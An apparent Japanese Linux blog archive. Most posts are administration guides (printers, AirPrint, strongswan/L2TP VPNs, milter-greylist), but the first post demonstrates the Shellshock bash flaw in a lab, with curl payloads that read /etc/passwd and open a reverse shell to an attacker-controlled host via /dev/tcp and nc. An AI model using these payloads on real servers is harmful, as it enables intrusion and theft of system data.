Linux」カテゴリーアーカイブ

Linux一般に関すること

bash脆弱性(shellshock)を利用した攻撃の例

bashの脆弱性 (shellshock, CVE-2014-6271等)をそのままにしているWebサーバがある場合、環境変数 (User-AgentなどHTTPヘッダとして渡せば受け取ってくれる) に脆弱性を突く文字列+任意のコマンドを埋め込んで実行できる。

条件としては、さらにサーバ上に「bashを実行しそうな実在のCGIスクリプト」などが存在することが必要。CGIスクリプトの言語がshまたはbashであればその条件に該当するし、仮にPHPやPythonだったとしても、system関数などを使っていれば/bin/shが起動されるため該当する。

※RedHat, CentOS6では/bin/sh -> /bin/bashへのシンボリックリンクであるため上記が成立するが、Debian系など他のシステムでは成立しないかもしれない。以下はRedHat Enterprise Linux 6で検証している。

1. サーバ側でcat /etc/passwdを実行させる例

curlコマンドの-A(User-Agent:ヘッダを指定する)オプションを使用して、文字列を送り込む。

attacker-pc$ curl -A "() { :;};echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://攻撃対象サーバのホスト名orIPアドレス/cgi-bin/test.cgi

/cgi-bin/test.cgi は、実在する(かつ内部でbashを呼び出す)必要がある。

2. 攻撃者側へサーバのbashインタラクティブシェルを開く例

bashの/dev/tcp/host/port入出力エミュレート機能というのがあって、デバイスファイルへの書き込みが特定ホスト/ポートへのTCPパケット送出となるようになっている。

参考: suztomoの日記 – ncコマンドとbashの/dev/tcpで通信

以下、この機能を使って攻撃者側にシェルプロンプトを開いてみる実行例。
攻撃者は端末(tty1)で、ncコマンドなどを使いTCPの特定ポートを待ち受ける。以下の例では3333番ポートである。

attacker-pc-tty1$ nc -l -p 3333

このtty1端末はそのまま待ち受け状態となる。

ここでもう一つ端末(tty2)を立ち上げて、攻撃用のcurlコマンドを実行する。

attacker-pc-tty2$ curl -A "() { :;};/bin/bash -i >& /dev/tcp/攻撃者PCのグローバルIPアドレス/3333 0>&1" http://攻撃対象サーバのホスト名orIPアドレス/cgi-bin/test.cgi

すると、さきほどのtty1にサーバのシェルプロンプトが現れる。

attacker-pc-tty1$ nc -l -p 3333
bash: no job control in this shell
bash-4.1$ 

サーバ側から攻撃者PCのTCP3333番へ接続され、bashの入出力が接続された状態となった。

apacheの権限でできることであれば、ここから何でもインタラクティブに実行可能である。

※SELinuxが有効になっていれば、2.のパターンの実行は阻止される。このときhttpdのエラーログに”sh: /dev/tcp/aa.bb.cc.dd/3333: Permission denied”が記録される。

実験環境:
RedHat Enterprise Linux 6.5 x86_64
bash-4.1.2-15.el6_4

参考にしたサイト:
x86-64.jp – bashの脆弱性がヤバすぎる件
ワルブリックス株式会社 – BASHの脆弱性でCGIスクリプトにアレさせてみました
もろず blog – bash の脆弱性 “Shell Shock” のめっちゃ細かい話 (CVE-2014-6271)

HP mini 5101 に CentOS 6 をインストール

Windows XP プリインストールの旧型ネットブック HP mini 5101 に CentOS 6 をインストールしてみたのでメモしておく。

1. インストール:

DVD-Rなどを焼くのが面倒なので、UNetbootinでUSBメモリインストーラを作成する。ベースのISOファイルはCentOS-6.5-i386-minimal.isoである。

このノートPCのCPUはAtom N280なので32bitのみ。よってi386版をダウンロードするように気をつける。

$ wget http://ftp.iij.ad.jp/pub/linux/centos/6.5/isos/i386/CentOS-6.5-i386-minimal.iso

UNetbootin を起動して ISO イメージから USB メモリを作成するが、どうもバグがあるようでインストールが途中で止まってしまう。出来上がった USB メモリの repodata ディレクトリの中身を削除し、CentOS-6.5-i386-minimal.iso の repodata ディレクトリの中身をコピーすることで修正できる。

参考URL:
SBメモリでLinuxをインストールする 2

2. インストール後の設定

minimal インストール後は色々パッケージが足りないので、yum groupinstall でごっそり追加する。最初はNICがオフになっているので、まず有効化すること(後述)。X 環境が必要なら、”Desktop” “Desktop Platform” “Input Methods” “X Window System” “Fonts”あたりをインストールする。

$ sudo yum groupinstall "Desktop" "Desktop Platform" "Input Methods" "X Window System" "Fonts"

ノースブリッジ内蔵 Intel GMA 950 については X.org 標準のドライバで対応しているので、上記のように “X Window System” をインストールするだけで動作する。

NICについては、有線LANが Marvell 88E8072 であり、これは minimal インストール直後から利用できる (最初の設定は ONBOOT=no になっているので、ifup eth0 で使えるようになる)。

無線LANについては Intel PRO/Wireless 5100 AGN というのが乗っているが、これは minimal インストールではファイルが足りないため動作しない。iwl5000-firmware パッケージが必要である。

$ sudo yum install iwl5000-firmware

これで再起動すれば無線LANが使えるようになる。

AirPrint非対応のプリンタをUbuntuサーバ経由でAirPrint対応に

avahi-daemon (Apple Bonjour互換) を使ってプリンタ名を広告してやることによって、AirPrint非対応の旧世代プリンタをAirPrint対応にできるらしいので、実験してみた。

そのためには、Linux プリンタサーバ上に、iOS デバイスへプリンタ情報を教えるための avahi 設定が必要になる。

前の記事の内容で、既にUbuntu環境でプリンタの設定はできているものとする。

1. インストール

必要なパッケージをUbuntuデスクトップにインストールする。

desktop$ sudo apt-get install avahi-discover

2. 情報の取得

端末から、avahi-discover コマンドを実行する。標準出力にダンプされる情報を利用するので、ログファイルを取っておく。

desktop$ avahi-discover > log

表示された GUI ウインドウ上で、「Internet Printer」→「EPSON EP-802A @ myserver1」を選択する。その後、×ボタンで GUI を閉じる。

logファイルの内容を確認すると、末尾近くに以下のような行がある。

Host myserver1.local (192.168.100.240), port 631, TXT data: ['printer-type=0xB01E', 'printer-state=3', 'Duplex=T', 'Color=T', 'TLS=1.2', 'UUID=3ae710a1-2d56-928f-4a19-394a152d3eca', 'URF=DM3', 'pdl=application/octet-stream,application/pdf,application/postscript,image/jpeg,image/png,image/urf', 'product=(Epson EP-902A Series)', 'priority=0', 'note=Home', 'adminurl=https://myserver1.local:631/printers/EPSON-EP-802A', 'ty=Epson EP-802A Series - epson-inkjet-printer 1.0.0-1lsb3.2 (Seiko Epson Corporation LSB 3.2)', 'rp=printers/EPSON-EP-802A', 'qtotal=1', 'txtvers=1']

3. 情報ファイルの作成

上記の情報をもとに、avahi のサービス情報ファイルを作成する。

myserver1$ sudo vi /etc/avahi/services/AirPrint-EPSON-EP-802A.service
<?xml version="1.0" standalone='no'?>
<!DOCTYPE service-group SYSTEM "avahi-service.dtd">
<service-group>
<name replace-wildcards="yes">AirPrint EPSON-EP-802A @ %h</name>
<service>
 <type>_ipp._tcp</type>
 <subtype>_universal._sub._ipp._tcp</subtype>
 <port>631</port>
 <txt-record>txtvers=1</txt-record>
 <txt-record>qtotal=1</txt-record>
 <txt-record>rp=printers/EPSON-EP-802A</txt-record>
 <txt-record>ty=Epson EP-802A Series - epson-inkjet-printer 1.0.0-1lsb3.2 (Seiko Epson Corporation LSB 3.2)</txt-record>
 <txt-record>adminurl=https://myserver1.local:631/printers/EPSON-EP-802A</txt-record>
 <txt-record>note=Home</txt-record>
 <txt-record>priority=0</txt-record>
 <txt-record>product=(Epson EP-902A Series)</txt-record>
 <txt-record>pdl=application/octet-stream,application/pdf,application/postscript,image/jpeg,image/png,image/urf</txt-record>
 <txt-record>UUID=3ae710a1-2d56-928f-4a19-394a152d3eca</txt-record>
 <txt-record>TLS=1.2</txt-record>
 <txt-record>Color=T</txt-record>
 <txt-record>Duplex=T</txt-record>
 <txt-record>printer-state=3</txt-record>
 <txt-record>printer-type=0xB01E</txt-record>
 <txt-record>URF=none</txt-record>
</service>
</service-group>

ファイルができたら、サービスを再起動する。

myserver1$ sudo service avahi-daemon restart
myserver1$ sudo service cups restart

設定が終わったら、iOS デバイスのアプリケーション (例えばSafari) からテスト印刷する。「メニューボタン」→「プリント」を選択して、「プリンタ」に「EP-802A」が表示されたら選択して印刷してみる。自分の環境では、きちんと印刷できた。

参考URL: 今日はLinuxのCUPSプリントサーバをAirPrintサーバにして、iPhoneからAirPrintで印刷するとPDFファイルが生成されるようにしてみた

UbuntuでEPSONプリンタを使う

自分の場合は通常使わないのだが、念のためUbuntuサーバからも印刷ができるようにしてみた。
環境:
プリンタサーバ: Ubuntu 14.04 server (64bit) ホスト名 myserver1
操作用デスクトップ: Ubuntu 14.04 desktop (64bit) ホスト名 desktop
プリンタ: EPSON EP-802A
プリンタサーバ-プリンタ間接続形式: ネットワーク経由

1. プリンタドライバのダウンロード

EPSON Download Center でプリンタ型番をキーワードに検索し、ダウンロードする。
自分の環境の場合は、以下の4つをダウンロードした。
iscan-data_1.29.0-2_all.deb
iscan_2.29.3-1~usb0.1.ltdl7_amd64.deb
epson-inkjet-printer-ep-902a-series_1.0.0-1lsb3.2_amd64.deb
epson-inkjet-printer-escpr_1.4.1-1lsb3.2_amd64.deb

2. プリンタドライバのインストール

必要なパッケージをインストールする。

myserver1$ sudo apt-get install lsb xsltproc

さらに、ダウンロードしたファイルをインストールする。

myserver1$ sudo dpkg -i iscan-data_1.29.0-2_all.deb \
iscan_2.29.3-1~usb0.1.ltdl7_amd64.deb \
epson-inkjet-printer-ep-902a-series_1.0.0-1lsb3.2_amd64.deb \
epson-inkjet-printer-escpr_1.4.1-1lsb3.2_amd64.deb

3. CUPSの設定

今回の設定対象は X 環境の無いUbuntuサーバなので、他のマシン(Ubuntuデスクトップ)からリモートで設定したい。そのため、CUPSの設定を変更して同一ネットワークのマシンからはリモート管理ができるようにする。

myserver1$ sudo vi /etc/cups/cupsd.conf

以下、cupsd.confの編集内容をdiff -u形式で表示する。

@@ -13,11 +13,12 @@
 MaxLogSize 0

 # Only listen for connections from the local machine.
-Listen localhost:631
+#Listen localhost:631
 Listen /var/run/cups/cups.sock
+Port 631

 # Show shared printers on the local network.
-Browsing Off
+Browsing On
 BrowseLocalProtocols dnssd

 # Default authentication type, when authentication is required...
@@ -29,11 +30,13 @@
 # Restrict access to the server...
 <Location />
   Order allow,deny
+  Allow @LOCAL
 </Location>

 # Restrict access to the admin pages...
 <Location /admin>
   Order allow,deny
+  Allow @LOCAL
 </Location>

 # Restrict access to configuration files...
@@ -41,6 +44,7 @@
   AuthType Default
   Require user @SYSTEM
   Order allow,deny
+  Allow @LOCAL
 </Location>

 # Set the default printer/job policies...

サービスを再起動する。

myserver1$ sudo service cups restart

4. Ubuntu デスクトップからの設定

次にUbuntuデスクトップ側で、system-config-printerを使って先のサーバにリモート接続して設定を実施する。system-config-printerがインストールされていなければ、インストールしておく。

desktop$ sudo apt-get install system-config-printer-gnome

手元のUbuntu 14.04 Desktopでは、システム設定 (unity-control-center) にプリンタの設定アイコンが無かったので、端末から直接実行して GUI を起動した。

desktop$ system-config-printer

「サーバー」メニューから「接続」を選択して、「CUPSサーバー」欄にUbuntuサーバのIPアドレスを入力して接続する。

あとは「追加」ボタンを押して「ネットワークプリンター」の中から「Epson EP-802A (aa.bb.cc.dd)」、接続は「DNS-SD 経由の LPD ネットワークプリンター」を選択する。ドライバは自動検索され、高機能版が自動的に選ばれる。

設定が終わったら、テスト印刷を実行して確認する。

参考URL: Ubuntu Weekly Recipe 第286回 UbuntuからEPSON複合機EP-805Aを使用する

外部からVPSへのL2TP/IPsecとVPS-自宅間IPsecの組み合わせ

前回記事のリモートアクセスVPN (L2TP/IPsec) と、さらにその前の記事で構築済みのVPS-自宅間VPN (IPsec) を組み合わせて利用する。

これにより、動的IPアドレスの自宅へ、外部からいつでもログイン可能となる。

前提:
・サーバはすべて Ubuntu 14.04 LTS である。
・IPsec実装は strongswan を利用し、サーバ間はRSA証明書認証を行う。
・外部端末-VPS間はL2TP/IPsecとし、認証はIPsec事前共有鍵+L2TPのMSCHAPv2とする。

ネットワーク構成は以下の通り。
06

すでに記事としては前回前々回で記述している。
今回のポイントは、VPS への L2TP アクセスで割り振られる PPP IPアドレスを、VPS-自宅間IPsecのトンネルに入るよう設定することである。

1. myvps1 と myserver1 の /etc/sysctl.conf

$ sudo vi /etc/sysctl.conf

net.ipv4.ip_forward=1  #28行目のコメントを外す
# 以下、追記する
net.ipv4.conf.default.send_redirects=0
net.ipv4.conf.all.send_redirects=0
net.ipv4.conf.eth0.accept_redirects=0
net.ipv4.conf.eth0.send_redirects=0
net.ipv4.conf.lo.accept_redirects=0
net.ipv4.conf.lo.send_redirects=0
net.ipv6.conf.eth0.accept_redirects=0
net.ipv6.conf.lo.accept_redirects=0
vpn1:~$ sudo sysctl -p /etc/sysctl.conf

2. myserver1上にCAを作成し、myserver1用とmyvps1用の証明書・秘密鍵の組を作成する

前々回記事を参照。

myserver1 には
/etc/ipsec.d/cacerts/ca1.crt (CA証明書)
/etc/ipsec.d/certs/myserver1.crt (サーバ証明書)
/etc/ipsec.d/private/myserver1.key (サーバ秘密鍵)

myvps1 には
/etc/ipsec.d/cacerts/ca1.crt (CA証明書)
/etc/ipsec.d/certs/myvps1.crt (サーバ証明書)
/etc/ipsec.d/private/myvps1.key (サーバ秘密鍵)

以上のファイルを配置する。

3. strongswan の設定 (myserver1側)

/etc/ipsec.conf:

config setup セクションの後に以下の内容を追加する。rightsubnet に L2TP クライアントの IP アドレス領域を追加しておく。

conn myhome-to-vps
	authby=rsasig
	auto=start
	closeaction=restart
	dpdaction=restart
	left=192.168.100.240
	leftsubnet=192.168.100.0/24
	leftcert=myserver1.crt
	right=203.0.113.180
	rightsubnet=203.0.113.180/32,172.16.1.0/24 # ←L2TPのクライアントアドレスを追加
	rightid="C=JP, ST=Aichi, O=Home, OU=Server, CN=myvps1.vpsnet.example.jp"

※strongswan だと leftsubnet / rightsubnet に複数のサブネットが記述できるが、openswan で複数サブネットの場合は leftsubnets / rightsubnets と書く必要がある。

/etc/ipsec.secrets:

: RSA myserver1.key

4. strongswan の設定 (myvps1側)

/etc/ipsec.conf:

config setup セクションの後に、以下の2つの記述を追加する。
myhome-to-vps の方の leftsubnet には、L2TP クライアントアドレス領域を追加しておく。

conn myhome-to-vps
	authby=rsasig
	auto=add
	closeaction=clear
	dpdaction=clear
	left=203.0.113.180
	leftsubnet=203.0.113.180/32,172.16.1.0/24 # ←L2TPのクライアントアドレスを追加
	leftcert=myvps1.crt
	right=%any
	rightsubnet=192.168.100.0/24
	rightid="C=JP, ST=Aichi, O=Home, OU=Server, CN=myserver1.domain.local"

conn L2TP-PSK
        authby=secret
        auto=add
        closeaction=clear
        dpdaction=clear
        type=transport
        rekey=no
        left=203.0.113.180
        leftprotoport=17/1701
        right=%any
        rightprotoport=17/%any

/etc/ipsec.secrets:
自宅IPsec用のRSA秘密鍵と、L2TP/IPsec用の事前共有鍵文字列を両方記述する。

: RSA myvps1.key
: PSK "mypresharedkey"

5. xl2tpd の設定 (myvps1側)

/etc/xl2tpd/xl2tpd.conf:

[global]
port = 1701

[lns default]
ip range = 172.16.1.11-172.16.1.30
local ip = 172.16.1.254
length bit = yes
require chap = yes
refuse pap = yes
require authentication = yes
name = myvps1.vpsnet.example.jp
ppp debug = no
pppoptfile = /etc/ppp/xl2tpd-options

/etc/ppp/xl2tpd-options:

ipcp-accept-local
ipcp-accept-remote
ms-dns 172.16.1.254  (myvps1にキャッシュDNSサーバが立っている前提)
noccp
auth
crtscts
idle 1800
mtu 1300
mru 1300
nodefaultroute
lock
connect-delay 5000
refuse-pap
refuse-chap
refuse-mschap
require-mschap-v2

/etc/ppp/chap-secrets:

username	*	"l2tppassworddesu"	*

一般ユーザで読めない権限にしておくこと。

6. サービス起動と確認

myserver1:~$ sudo service strongswan restart
myvps1:~$ sudo service strongswan restart
myvps1:~$ sudo service xl2tpd restart

milter-greylist で GeoIP を使えるようにする

※以下は古い記事です。Ubuntu 16.04 以降では libGeoIP がリンクされているため、必要ありません。

Ubuntu 14.04 標準パッケージの milter-greylist は libGeoIP をリンクするようにコンパイルされていないので、GeoIP (IPアドレスベースの国別判定) をポリシーに利用することが出来ない。そこで Ubuntu ソースパッケージを微修正してリビルドすることで GeoIP を使えるようにする。また、ついでにPostfixへの対応を入れておく。

必要なパッケージのインストール

myserver1:~$ sudo apt-get install build-essential quilt debhelper autotools-dev bison flex
myserver1:~$ sudo apt-get install libgeoip-dev libspf2-dev libmilter-dev

ソースパッケージのダウンロード

myserver1:~$ apt-get source milter-greylist

パッケージ情報ファイルの編集

GeoIP をリンクするように、パッケージ情報ファイルを編集する。

rules ファイルを編集し、configure オプションの中に –with-libGeoIP \ を追加する。configure 実行時に libGeoIP を探してくれるようになる。

myserver1:~$ cd milter-greylist-4.3.9
myserver1:milter-greylist-4.3.9$ vi debian/rules
override_dh_auto_configure:
    dh_auto_configure -- \
    --with-user=greylist \
    --sysconfdir=/etc/milter-greylist \
    --with-conffile=/etc/milter-greylist/greylist.conf \
    --with-dumpfile=/var/lib/milter-greylist/greylist.db \
    --with-libspf2=/usr \
    --with-libmilter=/usr \
    --with-libGeoIP \  ←ここを追加
    --enable-postfix \  ←ここを追加
    --enable-dnsrbl \
    --disable-rpath \
    LDFLAGS=" -Wl,-z,defs -L/usr/lib/libmilter " \
    CFLAGS=" -fno-strict-aliasing "

また、controlファイルを編集して、Build-Depends 行に libgeoip-dev を追加する。

myserver1:milter-greylist-4.3.9$ vi debian/control
Build-Depends: quilt, debhelper (>= 8), autotools-dev, libmilter-dev, bison, flex, libspf2-dev, libgeoip-dev

パッケージバージョン番号を変更するために、changelogも編集する。内容は適当。

myserver1:milter-greylist-4.3.9$ vi debian/changelog
milter-greylist (4.3.9-101) unstable; urgency=low

  * Build with --with-libGeoIP
  * Build with --enable-postfix

 -- My Name <myname@example.com>  Mon, 30 Jun 2014 10:00:00 +0900

バージョン番号を元のパッケージより大きくしておかないと、apt-get upgrade した時に公式パッケージで置き換えられてしまう。ここでは 4.3.9-1 から 4.3.9-101 にしておいた。

ビルド

編集が終わったら、実際にビルドする。

myserver1:milter-greylist-4.3.9$ dpkg-buildpackage -us -uc

インストール

.deb パッケージが出来上がったら、公式パッケージをアンインストールして入れ換える。

myserver1:milter-greylist-4.3.9$ sudo apt-get purge milter-greylist
myserver1:milter-greylist-4.3.9$ sudo dpkg -i ../milter-greylist_4.3.9-101_amd64.deb

設定

milter-greylist を入れ換えたら、/etc/milter-greylist/greylist.conf に geoip の記述が使えるようになる。例えば自宅のサーバでは、CN からメールを受け取る予定が無いのでこれをブラックリストに入れてみる。

myserver1:~$ sudo vi /etc/milter-greylist/greylist.conf

greylist.conf の中身:

geoipdb "/usr/share/GeoIP/GeoIP.dat"
...
racl blacklist geoip "CN"

iOS/Android 端末からの L2TP/IPsec 接続 (strongswan+xl2tpd)

iOSやAndroid端末、あるいは Windows PC などからもリモートアクセスできるよう、VPS マシンに VPN 接続を設定しておく。

PPTPについては既に脆弱性が発見されており、OSによってはサポート対象外になっているため、VPN プロトコルとしては L2TP/IPsec を使う。

前提:
対象サーバはVPSのCentOS 7。

IPsec 実装としては strongswan、L2TP 実装としては xl2tpd を利用する。

ネットワーク図は以下の通り。
05

1. インストール

[user@myvps1 ~]$ sudo apt-get install strongswan xl2tpd

カーネルパラメータをパケット転送できるよう設定する。
[user@myvps1 ~]$ sudo vi /etc/sysctl.conf

net.ipv4.ip_forward=1  #28行目のコメントを外す

[user@myvps1 ~]$ sudo sysctl -p /etc/sysctl.conf

ファイアウォール(ufw)を閉じている場合は、ESP、UDP 500・4500 を空けておくこと。

2. ipsec.confの設定

[user@myvps1 ~]$ sudo vi /etc/strongswan/ipsec.conf

以下の内容を追記する。

conn L2TP-PSK
        authby=secret
        auto=add
        closeaction=clear
        dpdaction=clear
        type=transport
        rekey=no
        left=203.0.113.180
        leftprotoport=17/1701
        right=%any
        rightprotoport=17/%any

IPsec はトランスポートモードを使用する。ペイロードに L2TP を通すので、ルーティングはそちらに任せる。

再接続等はクライアント側に任せたいため、こちらからは何もしない設定である。接続が切れた場合はセッションをクリアする。

3. IPsecの事前共有鍵の設定

[user@myvps1 ~]$ sudo vi /etc/strongswan/ipsec.secrets

事前共有鍵を平文で記述する。

: PSK "mypresharedkey"

4. xl2tpd.conf の設定

[user@myvps1 ~]$ sudo vi /etc/xl2tpd/xl2tpd.conf

以下の設定を追記する。

[global]
port = 1701

[lns default]
ip range = 172.16.1.11-172.16.1.30
local ip = 172.16.1.254
length bit = yes
require chap = yes
refuse pap = yes
require authentication = yes
name = myvps1.vpsnet.example.jp
ppp debug = no
pppoptfile = /etc/ppp/xl2tpd-options

接続クライアント側には、172.16.1.11 から 30 の間でアドレスが割り振られる。

5. xl2tpd-options の設定

[user@myvps1 ~]$ sudo vi /etc/ppp/xl2tpd-options

L2TPの設定を記述する。

ipcp-accept-local
ipcp-accept-remote
ms-dns 172.16.1.254  (myvps1:172.16.1.254にキャッシュDNSサーバが立っている前提)
noccp
auth
crtscts
idle 1800
mtu 1300
mru 1300
nodefaultroute
lock
connect-delay 5000
refuse-pap
refuse-chap
refuse-mschap
require-mschap-v2

6. chap-secrets の設定

[user@myvps1 ~]$ sudo vi /etc/ppp/chap-secrets

username	*	"l2tppassworddesu"	*

一般ユーザで読めない権限にしておく。

7. デーモンの起動

[user@myvps1 ~]$ sudo service strongswan restart
[user@myvps1 ~]$ sudo service xl2tpd restart

この状態で、iPhoneなどから接続してみる。
iPhoneであれば「設定」→「VPN」→「VPN構成を追加…」で「L2TP」を選択して設定を追加する。
「サーバ」欄にはVPSのホスト名(IPアドレス)、「アカウント」にはL2TPユーザ名、「パスワード」にはL2TPパスワード、「シークレット」にはIPsec事前共有鍵を設定する。

クライアント機器が公衆無線LANなどのプライベートネットワーク中に居る状態では、自動的に NAT-Traversal が利用される。ESP だけでなく、UDP 4500番ポートについてファイアウォールが空いている必要がある。

自宅-VPS間でIPsec (strongswan X.509証明書認証)

前の記事と同じ構成で、認証に証明書を導入してみた。

ネットワーク構成は前の記事と同じで、以下の図のようになる。

前提:
・VPS の OS は CentOS 7.5、自宅側サーバは Raspbian 9.4 である。
・IPsec 実装には strongswan を利用する。
・証明書作成にはOpenSSLを使い、PEM ファイルの形で管理する。
・自宅側のIPsec端点 (ホスト名:myserver1) と同一のサーバに CA を作成しておき、この CA 上で両側の端点用の証明書を発行する。

1. strongswan インストール

user@myserver1:~$ sudo apt-get install strongswan
[user@myvps1 ~]$ sudo yum install epel-release
[user@myvps1 ~]$ sudo yum install strongswan

カーネルパラメータは前々回の記事と同一の設定をしておく。

自宅内サーバ側の設定。
user@myserver1:~$ sudo vi /etc/sysctl.conf

net.ipv4.ip_forward=1  #28行目のコメントを外す

user@myserver1:~$ sudo sysctl -p /etc/sysctl.conf

VPS の方にも同じ設定を実施する。
[user@myvps1 ~]$ sudo vi /etc/sysctl.conf

net.ipv4.ip_forward=1  #追記する

[user@myvps1 ~]$ sudo sysctl -p /etc/sysctl.conf

ファイアウォール(ufw)を閉じている場合は、UDP 500 と 4500 を空けておくこと。

2. 証明書の作成

myserver1 上に CA のためのディレクトリと設定を準備する。
user@myserver1:~$ sudo mkdir /etc/ssl/CA
user@myserver1:~$ sudo mkdir /etc/ssl/newcerts
user@myserver1:~$ sudo sh -c "echo '01' > /etc/ssl/CA/serial"
user@myserver1:~$ sudo sh -c "echo '01' > /etc/ssl/CA/crlnumber"
user@myserver1:~$ sudo touch /etc/ssl/CA/index.txt
user@myserver1:~$ sudo vi /etc/ssl/openssl.cnf

/etc/ssl/openssl.cnfの抜粋:

dir		= /etc/ssl		# Where everything is kept
database	= $dir/CA/index.txt	# database index file.
certificate	= $dir/certs/ca1.crt 	# The CA certificate
serial		= $dir/CA/serial 		# The current serial number
crlnumber	= $dir/CA/crlnumber # the current crl number
                    # must be commented out to leave a V1 CRL
crl     = $dir/crl/crl.pem
private_key	= $dir/private/ca1.key

CA 鍵・証明書を作成する。
user@myserver1:~$ sudo openssl req -new -x509 -extensions v3_ca -keyout /etc/ssl/private/ca1.key -out /etc/ssl/certs/ca1.crt -days 3652
(snip)
Country Name (2 letter code) [AU]:JP
State or Province Name (full name) [Some-State]:Aichi
Locality Name (eg, city) []:Nagoya
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Home
Organizational Unit Name (eg, section) []:CA
Common Name (e.g. server FQDN or YOUR name) []:ca1.home.example.com
Email Address []:

myserver1 の秘密鍵を作成する。
user@myserver1:~$ openssl genrsa -aes256 -out /etc/ssl/private/myserver1.key 2048
Enter pass phrase for myserver1.key:********
(後でパスワードを削除するので、パスワードはここでは適当に決める)
Verifying - Enter pass phrase for myserver1.key:********

秘密鍵ファイルのパスワードを削除しておく。
user@myserver1:~$ openssl rsa -in /etc/ssl/private/myserver1.key -out /etc/ssl/private/myserver1.key
Enter pass phrase for myserver1.key:********
writing RSA key

myserver1 の CSR を作成する。
user@myserver1:~$ openssl req -new -days 1826 -key /etc/ssl/private/myserver1.key -out /etc/ssl/cert/myserver1.csr
(snip)
Country Name (2 letter code) [AU]:JP
State or Province Name (full name) [Some-State]:Aichi
Locality Name (eg, city) []:Nagoya
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Home
Organizational Unit Name (eg, section) []:Server
Common Name (e.g. server FQDN or YOUR name) []:myserver1.home.example.com
Email Address []:
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:

CA 鍵を使って CSR に署名する。
user@myserver1:~$ sudo openssl ca -in /etc/ssl/cert/myserver1.csr -config /etc/ssl/openssl.cnf
Enter pass phrase for /etc/ssl/private/ca.key:********
(snip)
Sign the certificate? [y/n]:y
1 out of 1 certificate requests certified, commit? [y/n]y
(snip)
Data Base Updated

CA 証明書とホスト証明書・鍵を strongswan 用に配置する。
user@myserver1:~$ sudo cp /etc/ssl/certs/ca1.crt /etc/ipsec.d/cacerts/
user@myserver1:~$ sudo cp /etc/ssl/newcerts/01.pem /etc/ipsec.d/certs/myserver1.crt
user@myserver1:~$ sudo cp /etc/ssl/private/myserver1.key /etc/ipsec.d/private/

myvps1 用の証明書も同様に作成する。
user@myserver1:~$ openssl genrsa -aes256 -out /etc/ssl/private/myvps1.key 2048
user@myserver1:~$ openssl rsa -in /etc/ssl/private/myvps1.key -out /etc/ssl/private/myvps1.key
user@myserver1:~$ openssl req -new -days 1826 -key /etc/ssl/private/myvps1.key -out /etc/ssl/cert/myvps1.csr
user@myserver1:~$ sudo openssl ca -in /etc/ssl/cert/myvps1.csr -config /etc/ssl/openssl.cnf

いま作成した myvps1 用のホスト証明書・鍵、CA証明書を myvps1 側にコピーする。
user@myserver1:~$ cp /etc/ssl/certs/ca1.crt .
user@myserver1:~$ cp /etc/ssl/newcerts/02.pem ./myvps1.crt
user@myserver1:~$ sudo cp /etc/ssl/private/myvps1.key .
user@myserver1:~$ sudo chown user myvps1.key
user@myserver1:~$ scp ca1.crt myvps1.crt myvps1.key myvps1:

myvps1 上で証明書・鍵を配置する。
[user@myvps1 ~]$ sudo cp ca1.crt /etc/strongswan/ipsec.d/cacerts/
[user@myvps1 ~]$ sudo cp myvps1.crt /etc/strongswan/ipsec.d/certs/
[user@myvps1 ~]$ sudo cp myvps1.key /etc/strongswan/ipsec.d/private/

作業用ファイルを削除する。
[user@myvps1 ~]$ rm ca1.crt myvps1.crt myvps1.key
user@myserver1:~$ rm ca1.crt myvps1.crt myvps1.key

3. strongswan の設定 (myserver1側)

設定ファイルを編集する。
user@myserver1:~$ sudo vi /etc/ipsec.conf

config setup セクションの後に以下の内容を追加する。

conn myhome-to-vps
	authby=rsasig
	auto=start
	closeaction=restart
	dpdaction=restart
	left=192.168.100.240
	leftsubnet=192.168.100.0/24
	leftcert=myserver1.crt
	right=203.0.113.180
	rightsubnet=203.0.113.180/32
	rightid="C=JP, ST=Aichi, O=Home, OU=Server, CN=myvps1.vpsnet.example.com"

こちら側から接続を開始するため、auto=start を記述する。また接続が切れたときにはこちら側から再接続を実行するため、closeaction=restart と dpdaction=restart を記述する。

パスワードファイルには秘密鍵のファイル名を記述する。
user@myserver1:~$ sudo vi /etc/ipsec.secrets

: RSA myserver1.key

4. strongswan の設定 (myvps1側)

こちらも設定ファイルを編集する。
[user@myvps1 ~]$ sudo vi /etc/strongswan/ipsec.conf

以下の内容を追加する。

conn myhome-to-vps
	authby=rsasig
	auto=add
	closeaction=clear
	dpdaction=clear
	left=203.0.113.180
	leftsubnet=203.0.113.180/32
	leftcert=myvps1.crt
	right=%any
	rightsubnet=192.168.100.0/24
	rightid="C=JP, ST=Aichi, O=Home, OU=Server, CN=myserver1.home.example.com"

パスワードファイルには秘密鍵のファイル名を記述する。
[user@myvps1 ~]$ sudo vi /etc/strongswan/ipsec.secrets

: RSA myvps1.key

5. サービス起動と確認

サービスを起動する。

user@myserver1:~$ sudo service strongswan start
[user@myvps1 ~]$ sudo service strongswan start

接続できたかどうか、ip xfrm state コマンドで確認する。

user@myserver1:~$ sudo ip xfrm state
src 192.168.100.240 dst 203.0.113.180
	proto esp spi 0xbaef12dc reqid 1 mode tunnel
	replay-window 32 flag af-unspec
	auth-trunc hmac(sha1) 0x6bde34f03f729b5a3c1d93c112ea6a40bf312742 96
	enc cbc(aes) 0x4f2fa3876e41e825be32a4e710a5f193
	encap type espinudp sport 4500 dport 4500 addr 0.0.0.0
src 203.0.113.180 dst 192.168.100.240
	proto esp spi 0xbb4b32e0 reqid 1 mode tunnel
	replay-window 32 flag af-unspec
	auth-trunc hmac(sha1) 0x44b52fad2bf912e10b61706add1337f823ec344e 96
	enc cbc(aes) 0xaf32405118ac467efb02f5f76e59aad1
	encap type espinudp sport 4500 dport 4500 addr 0.0.0.0

自宅-VPS間でIPsec (strongswan)

自宅(動的IPアドレス)とVPS(固定IPアドレス)の間で、IPsec トンネルを常時接続してみる。これには、自宅のIPアドレスが変わっても、VPS 経由で自宅に入れるというメリットがある。

ネットワーク図

VPS の OS: CentOS 7.5
自宅サーバのOS: Raspbian 9.4 (Raspberry Pi)
IPsec ソフトウェア: strongswan

1. VPS 側

strongswan をインストールする。
[user@myvps1 ~]$ sudo yum install epel-release
[user@myvps1 ~]$ sudo yum install strongswan

通過パケットを転送できるように、カーネルパラメータを変更する。
[user@myvps1 ~]$ sudo vi /etc/sysctl.conf

net.ipv4.ip_forward=1  #追記する

[user@myvps1 ~]$ sudo sysctl -p /etc/sysctl.conf

